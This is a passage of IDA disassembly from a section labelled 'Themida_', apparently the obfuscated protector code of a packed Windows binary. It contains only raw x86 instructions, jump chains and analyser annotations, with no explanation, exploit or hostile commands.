		pop	ebx
		add	ebx, 2A345E7Ch
		sub	ebx, ecx
		sub	ebx, 2A345E7Ch
		pop	ecx
		add	ebx, 0FFFFFFFFh
		jmp	loc_55C1EB
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_551B42


loc_55549E:				; CODE XREF: sub_551B42+3295j
		sub	edx, ecx
		push	[esp-8+arg_4]
		pop	ecx
		add	esp, 4
		xor	edx, 5D944B10h
		add	edx, 7699546h
		push	edi
		jmp	loc_558FFB
; END OF FUNCTION CHUNK	FOR sub_551B42
; ---------------------------------------------------------------------------


loc_5554B9:				; CODE XREF: Themida_:00554095j
		pop	dword ptr [esp]
		mov	esp, [esp]
		btc	[esp], ax
		pushf
		jmp	loc_550A46
; ---------------------------------------------------------------------------


loc_5554CA:				; CODE XREF: Themida_:0055A6C8j
		mov	[esp], edi
		mov	edi, 4
		add	esi, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_558EC3
; ---------------------------------------------------------------------------
		lodsd
		push	edi
		mov	edi, 74CB4930h
		shl	edi, 8
		add	edi, 71312356h
		sub	edi, 0FFFFFFFFh
		xor	edi, 690144EEh
		push	16E7h
		mov	[esp], edi
		push	eax
		mov	edi, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_557769
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_557F09


loc_55550F:				; CODE XREF: sub_557F09+40B3j
		push	7973h
		mov	[esp+8+var_8], esi
		jmp	sub_55C259
; END OF FUNCTION CHUNK	FOR sub_557F09
; ---------------------------------------------------------------------------


loc_55551C:				; CODE XREF: Themida_:005524FCj
		mov	[esp], ecx
		mov	ecx, 390324C0h
		jmp	loc_559897
; ---------------------------------------------------------------------------


loc_555529:				; CODE XREF: Themida_:00559C88j
		neg	edx
		jmp	loc_55121F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_555530:				; CODE XREF: sub_556A70+621Bj
		sub	esi, ebx
		pop	ebx
		xor	esi, [esp-34h+arg_30]
		xor	[esp-34h+arg_30], esi
		xor	esi, [esp-34h+arg_30]
		pop	esp
		mov	[esp-38h+arg_34], edi
		push	5441h
		mov	[esp-34h+arg_30], esp
		jmp	loc_55BA77
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55554D:				; CODE XREF: Themida_:0055C7F9j
		add	ebx, 12964321h
		inc	ebx
		sub	ebx, 0CD955F5Dh
		mov	edi, ebx
		pop	ebx
		or	edx, edi
		jmp	loc_552306
; ---------------------------------------------------------------------------


loc_555564:				; CODE XREF: Themida_:005540CFj
		push	3C85h
		mov	[esp], esi
		push	edi
		mov	edi, 21E7043Ch
		sub	esp, 4
		jmp	loc_552F70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55557A:				; CODE XREF: sub_556A70-22ECj
		mov	[esp+8+var_8], edi
		jmp	loc_55B190
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		push	esp
		pop	edi
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_558625
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AE6E


loc_5555AE:				; CODE XREF: sub_55AE6E+3C7j
		mov	bh, 61h
		add	dl, 5
		sub	dl, bh
		sub	dl, 5
		pop	bx
		jmp	loc_55851C
; END OF FUNCTION CHUNK	FOR sub_55AE6E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5555BF:				; CODE XREF: sub_556A70+2F57j
		pop	eax
		add	esi, 0F4481AB2h
		neg	esi
		sub	esi, 3A4170EEh
		add	eax, 30221509h
		sub	eax, esi
		jmp	loc_55C5D9
; ---------------------------------------------------------------------------


loc_5555DA:				; CODE XREF: sub_556A70+4ADj
		and	byte ptr [esp+4+var_4],	al
		pushf
		jmp	loc_557AD8
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5567EA


loc_5555E3:				; CODE XREF: sub_5567EA-43EBj
		pop	edx
		jmp	loc_558B65
; END OF FUNCTION CHUNK	FOR sub_5567EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5555E9:				; CODE XREF: sub_556A70+716j
		add	edi, eax
		pop	eax
		push	158Dh
		mov	[esp+8+var_8], ebp
		mov	ebp, 418869D4h
		push	ecx
		mov	ecx, 13692891h
		inc	ecx
		neg	ecx
		xor	ecx, 143D41BAh
		add	ecx, 366D7135h
		inc	ecx
		jmp	loc_556A9A
; ---------------------------------------------------------------------------


loc_555614:				; CODE XREF: sub_556A70+4F66j
		push	ecx
		mov	ecx, 62F631D2h
		push	edx
		jmp	loc_55C71E
; ---------------------------------------------------------------------------


loc_555620:				; CODE XREF: sub_556A70+593Ej
		or	ebx, 2CC6441Dh
		xor	ebx, 2BBD1817h
		jmp	loc_551EDD
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		jmp	loc_558DD7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_555639:				; CODE XREF: sub_556A70+522Dj
		mov	ecx, 3497607Fh
		jmp	loc_556B75
; ---------------------------------------------------------------------------


loc_555643:				; CODE XREF: sub_556A70-3108j
		push	[esp-1Ch+arg_18]
		pop	edx
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp-18h+arg_14]
		pop	esp
		jmp	loc_5516B8
; ---------------------------------------------------------------------------


loc_55565F:				; CODE XREF: sub_556A70-C75j
		xor	edi, [esp-1Ch+arg_18]
		jmp	loc_553089
; ---------------------------------------------------------------------------


loc_555667:				; CODE XREF: sub_556A70+CDAj
		inc	ebx
		or	ebx, 9307411h
		sub	ebx, 1CC46EFAh
		mov	ebp, ebx
		pop	ebx
		jmp	loc_555CE5
; ---------------------------------------------------------------------------


loc_55567C:				; CODE XREF: sub_556A70+1103j
		sub	edi, 0BB10D606h
		sub	ebp, edi
		pop	edi
		push	ebp
		push	esi
		mov	esi, 76607069h
		add	[esp-1Ch+arg_1C], esi
		pop	esi
		jmp	loc_5532AE
; ---------------------------------------------------------------------------


loc_555696:				; CODE XREF: sub_556A70+62FFj
		push	[esp-20h+arg_1C]
		pop	edx
		push	esi
		jmp	loc_55938B
; ---------------------------------------------------------------------------


loc_5556A0:				; CODE XREF: sub_556A70+9E9j
		push	eax
		mov	al, 6Dh
		xor	al, 0C8h
		not	al
		jmp	loc_5552DD
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_5556AC:				; CODE XREF: Themida_:0055C239j
		bswap	eax
		jmp	loc_551D77
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5556B3:				; CODE XREF: sub_556A70-334Cj
		mov	esi, 30CF0720h
		not	esi
		sub	esi, 2D64190h
		or	esi, 64805264h
		push	ecx
		push	edx
		mov	edx, 4A1301C8h
		add	edx, 1B883D64h
		mov	ecx, edx
		pop	edx
		xor	esi, ecx
		jmp	loc_5552F8
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_5556DD:				; CODE XREF: Themida_:005524CFj
		pop	ecx
		shl	ecx, 1
		not	ecx
		inc	ecx
		xor	ecx, 67A2473Ah
		add	ecx, 0ACBF30E0h
		jmp	loc_554D2C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5584F8


loc_5556F4:				; CODE XREF: sub_5584F8+493j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+4+var_4]
		pop	esp
		jmp	loc_558209
; END OF FUNCTION CHUNK	FOR sub_5584F8
; ---------------------------------------------------------------------------


loc_555709:				; CODE XREF: Themida_:0055864Aj
		add	edx, edi
		sub	edx, 0D245731h
		push	ebx
		mov	bh, al
		mov	[edx], bh
		pop	ebx
		mov	edx, [esp]
		jmp	loc_554676
; ---------------------------------------------------------------------------


loc_55571F:				; CODE XREF: Themida_:00557FD9j
		sub	eax, 50451B84h
		sub	eax, 3D3B6881h
		sub	eax, ebp
		jmp	loc_553118
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_555730:				; CODE XREF: sub_556A70+3AF3j
		mov	ebx, 38h
		add	ebx, edi
		push	ecx
		sub	esp, 4
		mov	[esp+14h+var_14], edi
		jmp	loc_55B797
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_555743:				; CODE XREF: Themida_:00558D02j
		mov	cx, [esp]
		push	ebx
		push	esp
		jmp	loc_55C35C
; ---------------------------------------------------------------------------


loc_55574E:				; CODE XREF: Themida_:0055BC8Bj
		push	3DA8188Bh
		pop	eax
		jmp	loc_5557E6
; ---------------------------------------------------------------------------


loc_555759:				; CODE XREF: Themida_:005562D9j
		mov	ebx, ebp
		pop	ebp
		or	ebx, 39FB2931h
		sub	esp, 4
		jmp	loc_558F3F
; ---------------------------------------------------------------------------


loc_55576D:				; CODE XREF: Themida_:00554A10j
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	eax
		push	ecx
		jmp	loc_551EA1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55577A:				; CODE XREF: sub_556A70+1740j
		mov	ebx, ebp
		pop	ebp
		sub	ebx, 400242D1h
		push	eax
		mov	eax, 2A9A4C92h
		jmp	loc_5537D7
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55578E:				; CODE XREF: Themida_:0055A5ACj
		pop	edx
		add	edx, edi
		push	dword ptr [edx]
		push	eax
		jmp	loc_556581
; ---------------------------------------------------------------------------


loc_555799:				; CODE XREF: Themida_:00559561j
		pop	esp
		push	edi
		jmp	loc_557676

; =============== S U B	R O U T	I N E =======================================



sub_5557A0	proc near		; CODE XREF: sub_556A70+3CD3j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 005523D2 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0055A003 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055C484 SIZE 0000001D BYTES

		sub	esp, 4
		mov	[esp-4+arg_0], ecx
		jmp	loc_55C484
sub_5557A0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559F87


loc_5557AE:				; CODE XREF: sub_559F87-20ECj
		or	dl, bl
		pop	ebx
		add	dl, 0BFh
		mov	cl, dl
		jmp	loc_5519C9
; END OF FUNCTION CHUNK	FOR sub_559F87
; ---------------------------------------------------------------------------


loc_5557BB:				; CODE XREF: Themida_:00557D57j
		mov	ebp, esp
		jmp	loc_55CEE6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5557C2:				; CODE XREF: sub_556A70+212j
		pop	[esp+14h+var_14]
		pop	esp
		jmp	loc_5552D4
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_5557CB:				; CODE XREF: Themida_:00551E51j
		mov	[esp], edx
		jmp	loc_557FF3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5557D3:				; CODE XREF: sub_556A70+605Cj
		pop	esp
		jmp	loc_552BEA
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_5557D9:				; CODE XREF: Themida_:0055B756j
		add	esp, 4
		neg	ebp
		jmp	loc_55C3E9
; ---------------------------------------------------------------------------


loc_5557E6:				; CODE XREF: Themida_:00555754j
		add	eax, 648947E8h
		sub	eax, 5AB11166h
		mov	ebp, eax
		pop	eax
		or	ecx, ebp
		pop	ebp
		jmp	loc_555F46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55BDF1


loc_5557FB:				; CODE XREF: sub_55BDF1+10j
		mov	edi, 138B7427h
		and	ecx, edi
		pop	edi
		push	ebx
		jmp	loc_55C704
; END OF FUNCTION CHUNK	FOR sub_55BDF1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_555809:				; CODE XREF: sub_556A70+5A9j
		and	eax, edi
		pop	edi
		or	edx, eax
		shl	edx, 1
		push	5778h
		mov	[esp+8+var_8], ebp
		mov	ebp, 5FD37141h
		dec	ebp
		jmp	loc_557145
; ---------------------------------------------------------------------------


loc_555823:				; CODE XREF: sub_556A70-5CB9j
		pop	[esp-4+arg_0]
		pop	esp
		sub	[esp-0Ch+arg_8], eax
		pushf
		jmp	loc_550A46
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_558AE7


loc_555830:				; CODE XREF: sub_558AE7+3FA7j
		sub	ebx, 2A0F53B5h
		mov	esi, [esp+4+var_4]
		add	esp, 4
		jmp	loc_550A46
; END OF FUNCTION CHUNK	FOR sub_558AE7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_555844:				; CODE XREF: sub_556A70+4BE3j
		add	esp, 4
		pop	[esp-0Ch+arg_8]
		pop	esp
		sar	word ptr [esp-14h+arg_10], cl
		pushf
		jmp	loc_550A46
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_555858:				; CODE XREF: Themida_:0055863Cj
		xor	edx, 0FFFBFF88h
		add	edi, edx
		pop	edx
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		add	dword ptr [esp], 7A5C4BAEh
		add	dword ptr [esp], 32A428EFh
		sub	dword ptr [esp], 62AB7A4Ah
		add	[esp], eax
		push	esi
		mov	esi, 62AB7A4Ah
		sub	dword ptr [esp+4], 1B290341h
		add	[esp+4], esi
		jmp	loc_55143A
; ---------------------------------------------------------------------------


loc_555899:				; CODE XREF: Themida_:00557CE7j
		mov	edx, 1A7228AEh
		dec	edx
		add	edx, 6DEE31D0h
		sub	edx, 88605A51h
		mov	ebx, edx
		pop	edx
		push	74BDh
		mov	[esp], eax
		mov	eax, 3EFE2024h
		jmp	loc_557B78
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_5535DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5558D1:				; CODE XREF: sub_556A70+4890j
		inc	ecx
		push	ebx
		jmp	loc_55547B
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_5558D8:				; CODE XREF: Themida_:0055432Fj
		mov	ch, ah
		mov	dl, ch
		mov	ecx, [esp]
		add	esp, 4
		pop	eax
		mov	bh, dl
		pop	edx
		pop	cx
		add	al, bh
		pop	ebx
		jmp	loc_55AFFA
; ---------------------------------------------------------------------------


loc_5558F3:				; CODE XREF: Themida_:00559569j
		xor	esi, [esp]
		pop	esp
		imul	cx, ax
		push	cx
		pushf
		jmp	loc_550A46

; =============== S U B	R O U T	I N E =======================================



sub_555903	proc near		; CODE XREF: sub_556A70+4B14j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0055190B SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00551FF8 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00553B78 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00554905 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00554AC9 SIZE 00000022 BYTES

		push	ebx
		mov	ebx, 0B53F2445h
		add	edi, ebx
		pop	ebx
		sub	edx, 1746501Fh
		sub	edx, edi
		add	edx, 1746501Fh
		pop	edi
		jmp	loc_553B78
sub_555903	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	[esp], ax
		pushf
		jmp	loc_550A46
; ---------------------------------------------------------------------------


loc_555930:				; CODE XREF: Themida_:0055BBFBj
		add	edi, 0AAA04E08h
		jmp	loc_553561
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55593B:				; CODE XREF: sub_556A70+684j
		pop	esi
		add	esi, 4
		jmp	loc_55197B
; ---------------------------------------------------------------------------


loc_555947:				; CODE XREF: sub_556A70-4D0j
		or	edi, 2D242C60h
		jmp	loc_557C1E
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_555952:				; CODE XREF: Themida_:0055452Dj
		add	ecx, 321C4CEh
		sub	eax, ecx
		pop	ecx
		push	268Ah
		mov	[esp], ebp
		mov	ebp, 10E0733h
		jmp	loc_55498F
; ---------------------------------------------------------------------------


loc_55596D:				; CODE XREF: Themida_:0055BEA7j
		mov	dl, [esp]
		add	esp, 2
		push	ebx
		mov	bl, 0B4h
		dec	bl
		xor	bl, 0C8h
		add	dl, bl
		pop	ebx
		jmp	loc_553F71
; ---------------------------------------------------------------------------


loc_555983:				; CODE XREF: Themida_:0055B327j
		pop	ebx
		sub	bl, dl
		jmp	loc_55885F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553E6A


loc_55598B:				; CODE XREF: sub_553E6A+7CC7j
		sub	eax, ebp
		jmp	loc_552667
; END OF FUNCTION CHUNK	FOR sub_553E6A
; ---------------------------------------------------------------------------


loc_555992:				; CODE XREF: Themida_:00555D3Cj
		mov	eax, [esp]
		jmp	loc_554EE7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B730


loc_55599A:				; CODE XREF: sub_55B730-7950j
		mov	ecx, [esp+0Ch+var_C]
		jmp	loc_5599CC
; END OF FUNCTION CHUNK	FOR sub_55B730
; ---------------------------------------------------------------------------


loc_5559A2:				; CODE XREF: Themida_:00558119j
		sub	esp, 4
		jmp	loc_55AD53
; ---------------------------------------------------------------------------


loc_5559AA:				; CODE XREF: Themida_:005590F1j
		mov	esp, [esp]
		mov	[esp], eax
		push	esi
		mov	esi, 7862E59h
		mov	eax, 7862E59h
		xor	eax, esi
		mov	esi, [esp]
		jmp	loc_55CB69
; ---------------------------------------------------------------------------
		push	small word ptr [edx]
		jmp	loc_550A46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552B74


loc_5559CD:				; CODE XREF: sub_552B74+6812j
		add	edi, 525E64CEh
		sub	esp, 4
		mov	[esp+8+var_8], ebx
		jmp	loc_5526AA
; END OF FUNCTION CHUNK	FOR sub_552B74
; ---------------------------------------------------------------------------
		push	54A6h
		mov	[esp], ecx
		jmp	loc_5542A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5559EE:				; CODE XREF: sub_556A70-4FB1j
		pop	edi
		sub	ecx, 7FA67942h
		jmp	loc_55B80E
; ---------------------------------------------------------------------------


loc_5559FA:				; CODE XREF: sub_556A70+98Cj
		mov	[esp+0Ch+var_C], edi
		push	esp
		pop	edi
		push	eax
		mov	eax, 2F5C609Ch
		shr	eax, 1
		xor	eax, 1373B67h
		and	eax, 114675B0h
		push	ecx
		mov	ecx, 9435A41h
		jmp	loc_558500
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_555A1C:				; CODE XREF: Themida_:00551E1Bj
		mov	esi, 2D2B4B08h
		neg	esi
		or	esi, 1ACF6F06h
		jmp	loc_554D75
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_555A2E:				; CODE XREF: sub_556A70-5C9Dj
		xchg	edi, [esp+0]
		jmp	loc_550AE6
; ---------------------------------------------------------------------------


loc_555A36:				; CODE XREF: sub_556A70-2088j
		xor	esi, [esp-8+arg_4]
		mov	esp, [esp-8+arg_4]
		add	byte ptr [esp-8+arg_4],	al
		pushf
		jmp	loc_558805
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_555A45:				; CODE XREF: Themida_:00558B38j
		add	esp, 4
		jmp	loc_550A46
; ---------------------------------------------------------------------------


loc_555A50:				; CODE XREF: Themida_:0055C9ADj
		mov	edi, 4
		add	edx, edi
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		push	edx
		mov	edx, 517975F1h
		mov	esi, 0AE868A11h
		jmp	loc_55A277
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_555A73:				; CODE XREF: sub_556A70-8A3j
		pop	edi
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp-4+arg_0]
		pop	esp
		jmp	loc_558AE3
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_555A89:				; CODE XREF: Themida_:005527F6j
		pop	esp
		mov	[esp], dx
		push	5FBEh
		jmp	loc_550C50
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_55C26E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_555AA1:				; CODE XREF: sub_556A70-54C3j
		add	eax, esi
		pop	esi
		pop	ecx
		push	eax
		pop	edx
		pop	eax
		add	edx, edi
		push	ecx
		mov	ecx, 0
		add	ecx, edx
		add	[ecx], ebp
		pop	ecx
		pop	edx
		jmp	loc_5547BD
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B730


loc_555ABB:				; CODE XREF: sub_55B730+1711j
		pop	ecx
		jmp	sub_554E85
; END OF FUNCTION CHUNK	FOR sub_55B730
; ---------------------------------------------------------------------------


loc_555AC1:				; CODE XREF: Themida_:0055C272j
		push	4
		pop	eax
		sub	ebp, 304B73h
		add	ebp, 2332465Ch
		jmp	loc_552089
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_555AD8:				; CODE XREF: sub_556A70+1C3j
		pop	esp
		xchg	ebx, [esp-1Ah+arg_14+2]
		mov	esp, [esp-1Ah+arg_14+2]
		jmp	loc_557C6E
; ---------------------------------------------------------------------------


loc_555AE4:				; CODE XREF: sub_556A70+17C2j
		add	ecx, 4
		add	ecx, 4
		jmp	loc_557C86
; ---------------------------------------------------------------------------


loc_555AF5:				; CODE XREF: sub_556A70+5D25j
		mov	esi, [esp-1Ah+arg_14+2]
		jmp	loc_5534C8
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_555AFD:				; CODE XREF: Themida_:0055B27Aj
		inc	word ptr [esp]
		pushf
		jmp	loc_5596EF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_555B07:				; CODE XREF: sub_556A70+3DB2j
		mov	ecx, 11B77539h
		neg	ecx
		xor	ecx, 0D50FF898h
		sub	eax, ecx
		pop	ecx
		pop	edi
		add	edi, 38840A60h
		add	edi, eax
		sub	edi, 38840A60h
		pop	eax
		jmp	loc_55740D
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_555B2C:				; CODE XREF: Themida_:00553FDEj
		push	ecx
		mov	cl, 79h
		shl	cl, 7
		jmp	loc_5569BF
; ---------------------------------------------------------------------------


loc_555B37:				; CODE XREF: Themida_:00558992j
		add	esi, 4
		push	ecx
		push	edx
		push	eax
		push	6BCC42FFh
		jmp	loc_559977
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B403


loc_555B4A:				; CODE XREF: sub_55B403-162Cj
		pop	ebx
		mov	[edi+eax*4+1], ch
		mov	ecx, [esp+0]
		add	esp, 4
		jmp	loc_550A46
; END OF FUNCTION CHUNK	FOR sub_55B403
; ---------------------------------------------------------------------------


loc_555B5D:				; CODE XREF: Themida_:00555072j
		pop	edi
		push	45F2h
		mov	[esp], eax
		mov	eax, 2
		add	ebp, eax
		pop	eax
		push	ebp
		jmp	loc_55278F
; ---------------------------------------------------------------------------


loc_555B74:				; CODE XREF: Themida_:00556924j
		pop	ebx
		jmp	loc_553977
; ---------------------------------------------------------------------------


loc_555B7A:				; CODE XREF: Themida_:005521E3j
		mov	[esp], ecx
		push	eax
		mov	ah, 57h
		jmp	loc_556783

; =============== S U B	R O U T	I N E =======================================



sub_555B85	proc near		; CODE XREF: sub_553651+167Aj

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 00550D50 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005511DD SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005516B1 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00552998 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00553C39 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0055974D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00559A17 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0055A50C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055B4E2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055BB36 SIZE 00000014 BYTES

		push	ebx
		mov	ebx, 6BD23036h
		or	ebx, 65FC586Ch
		jmp	loc_559A17
sub_555B85	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_555B96:				; CODE XREF: Themida_:00553D12j
		pop	ecx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		sub	ecx, 216A36C9h
		add	ecx, 6FC603BAh
		add	ecx, eax
		sub	ecx, 6FC603BAh
		add	ecx, 216A36C9h
		pop	eax
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 2
		sub	ecx, 44AA27B5h
		jmp	loc_559273
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_555BD3:				; CODE XREF: sub_556A70+4DBCj
		add	ebp, 4
		xchg	ebp, [esp-26h+arg_20+2]
		mov	esp, [esp-26h+arg_20+2]
		jmp	loc_558DA8
; ---------------------------------------------------------------------------


loc_555BE4:				; CODE XREF: sub_556A70-51B5j
		sub	edi, 0CFE2EDBCh
		add	ebx, edi
		pop	edi
		add	ebx, 2
		xchg	ebx, [esp+0Ch+var_C]
		pop	esp
		jmp	loc_5541B9
; ---------------------------------------------------------------------------


loc_555BFC:				; CODE XREF: sub_556A70+15D3j
		add	ecx, 1DD52461h
		dec	ecx
		add	ecx, 0CEB9EB8h
		add	esi, ecx
		mov	ecx, [esp+8+var_8]
		jmp	loc_5578BB
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_555C13:				; CODE XREF: Themida_:00551113j
		push	edx
		push	eax
		push	3E7Ch
		mov	[esp], ecx
		push	5BC02EAFh
		pop	ecx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 5F121972h
		sub	ecx, ebx
		pop	ebx
		shr	ecx, 8
		or	ecx, 194917D1h
		jmp	loc_556182
; ---------------------------------------------------------------------------


loc_555C42:				; CODE XREF: Themida_:00554C93j
		add	esi, ebp
		pop	ebp
		jmp	loc_555C5D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_555C4A:				; CODE XREF: sub_556A70+35AEj
		mov	esp, [esp+8+var_8]
		xor	bl, al
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	[esp+0Ch+var_C]
		jmp	loc_5520FE
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_555C5D:				; CODE XREF: Themida_:00555C45j
		add	eax, 127717B8h
		sub	eax, esi
		sub	eax, 127717B8h
		jmp	loc_55AB86
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_555C6E:				; CODE XREF: sub_556A70+524Fj
		push	edx
		jmp	loc_551F95
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A748


loc_555C74:				; CODE XREF: sub_55A748-B55j
		add	esi, 4
		xchg	esi, [esp+10h+var_10]
		jmp	loc_551784
; END OF FUNCTION CHUNK	FOR sub_55A748
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_555C82:				; CODE XREF: sub_556A70+188j
		mov	bp, 24A3h
		xor	di, bp
		pop	bp
		xor	di, 1AAEh
		or	di, 3DEEh
		shl	di, 5
		sub	di, 8C10h
		and	cx, di
		pop	edi
		xor	cx, 7E6Fh
		jmp	loc_5532DB
; ---------------------------------------------------------------------------


loc_555CAC:				; CODE XREF: sub_556A70-5D2Ej
		add	eax, ebx
		sub	eax, 77107898h
		sub	eax, 22DC0DEEh
		jmp	loc_55B93B
; ---------------------------------------------------------------------------


loc_555CBD:				; CODE XREF: sub_556A70+2F8j
		mov	ebx, [esp-8+arg_4]
		jmp	loc_551EE5
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_555CC5:				; CODE XREF: Themida_:00554773j
		add	ebp, 36BC6470h
		add	ebp, 5F8D3728h
		sub	ebp, 62107A5Ch
		add	ecx, ebp
		pop	ebp
		push	esi
		mov	esi, 4
		jmp	loc_557567
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_555CE5:				; CODE XREF: sub_556A70-13F9j
		xor	eax, ebp
		push	[esp-20h+arg_1C]
		pop	ebp
		push	ebp
		mov	ebp, esp
		jmp	loc_550FD9
; ---------------------------------------------------------------------------


